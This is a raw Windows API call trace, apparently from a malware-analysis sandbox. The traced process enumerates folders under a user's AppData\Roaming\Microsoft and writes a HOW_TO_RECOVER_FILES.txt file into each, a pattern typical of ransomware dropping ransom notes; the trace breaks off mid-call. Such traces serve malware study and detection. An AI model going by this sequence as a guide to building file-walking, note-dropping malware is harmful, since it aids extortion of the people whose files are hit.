FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chs", cAlternateFileName="")) returned 0 [0246.269] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0246.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0246.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0246.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0246.269] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod", lpFilePart=0x0) returned 0x35 [0246.269] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0246.269] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.270] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chs", cAlternateFileName="")) returned 1 [0246.270] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.270] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0246.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0246.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0246.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0246.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs", lpFilePart=0x0) returned 0x39 [0246.270] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0246.271] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.271] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.271] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0246.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0246.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0246.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0246.271] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs", lpFilePart=0x0) returned 0x39 [0246.271] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0246.271] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.271] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.272] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0246.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0246.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0246.272] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0246.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0246.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\Chs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\inputmethod\\chs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0246.272] GetFileType (hFile=0x82c) returned 0x1 [0246.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0246.272] GetFileType (hFile=0x82c) returned 0x1 [0246.273] WriteFile (in: hFile=0x82c, lpBuffer=0x38596d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x38596d0*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0246.273] CloseHandle (hObject=0x82c) returned 1 [0246.273] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4e [0246.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0246.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\inputmethod\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0246.274] GetFileType (hFile=0x82c) returned 0x1 [0246.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0246.275] GetFileType (hFile=0x82c) returned 0x1 [0246.275] WriteFile (in: hFile=0x82c, lpBuffer=0x385cf58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x385cf58*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0246.276] CloseHandle (hObject=0x82c) returned 1 [0246.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0246.276] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC", lpFilePart=0x0) returned 0x2d [0246.276] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0246.277] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.277] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.277] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0246.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0246.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0246.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0246.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC", lpFilePart=0x0) returned 0x2d [0246.277] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0246.277] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.278] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.278] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0246.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0246.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0246.278] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0246.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0246.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MMC\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\mmc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0246.278] GetFileType (hFile=0x82c) returned 0x1 [0246.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0246.279] GetFileType (hFile=0x82c) returned 0x1 [0246.279] WriteFile (in: hFile=0x82c, lpBuffer=0x386dfb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x386dfb8*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0246.279] CloseHandle (hObject=0x82c) returned 1 [0246.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0246.280] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project", lpFilePart=0x0) returned 0x34 [0246.280] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0246.280] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.280] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0246.280] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0246.280] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0246.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0246.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0246.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0246.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project", lpFilePart=0x0) returned 0x34 [0246.281] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0246.281] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.281] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0246.281] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.281] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0246.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0246.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0246.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0246.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpFilePart=0x0) returned 0x37 [0246.282] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0246.282] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.283] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0246.283] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0246.283] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0246.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0246.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0246.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0246.283] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpFilePart=0x0) returned 0x37 [0246.283] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x204ec2e0 | out: 